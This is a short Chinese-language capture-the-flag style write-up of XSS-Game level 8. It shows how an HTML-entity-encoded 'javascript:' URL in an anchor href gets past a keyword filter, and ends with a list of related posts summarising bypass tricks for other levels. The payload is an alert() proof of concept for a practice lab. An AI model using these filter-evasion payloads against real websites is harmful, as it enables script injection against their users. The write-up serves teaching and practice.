XSS-Game level 8

简介: 第八关过滤的很严 , 只能编码绕过了

第八关过滤的很严 , 只能编码绕过了

image.png

源码中过滤了大小写,替换了script , on 事件 和 一些属性 , 而后将参数拼接到 href 属性

image.png我们使用编码绕过 s 编码后为 s , payload

javascript:alert(8)
<a href="'.$str7.'">    //拼接前
<a href="java&#115;cript:alert(8)">    //拼接后
<a href="javascript:alert(8)">    //编码后

点击友情链接 , 触发弹窗 , 过关

image.png

相关文章
|
JavaScript 前端开发
XSS-Game Level1
第一关算是送分题 , 没有任何过滤 , 传递一个弹窗的JS脚本即可
202 0
XSS-Game Level1
|
JavaScript
XSS-Game Level 2
第二关将结果拼接到了value属性中 , 我们插入JS脚本时手动闭合双引号即可
114 0
XSS-Game Level 2
XSS-Game level 10
第十关过滤了尖括号 > < , 并且隐藏了输入框 , 使用事件绕过,并使输入框取消隐藏
XSS-Game level 10
XSS-Game level 12
第十二关利用 HTTP_USER_AGENT 通过点击事件绕过
131 0
XSS-Game level 12
XSS-Game level 7
第七关过滤了 script , 但未过滤尖括号 '<','>' , 使用双写绕过
122 0
XSS-Game level 7
XSS-Game Level 4
第四关过滤了左右尖括号 ">","<" , 我们使用事件来绕过
127 0
XSS-Game Level 4
XSS-Game level 11
第十一关通过 Referer , 利用事件绕过
109 0
XSS-Game level 11
XSS-Game level 6
第六关未过滤大小写 , 使用大小写绕过
101 0
XSS-Game level 6
XSS-Game level 5
第五关过滤了 <script> 和 on 事件 , 使用 a 标签绕过
119 0
XSS-Game level 5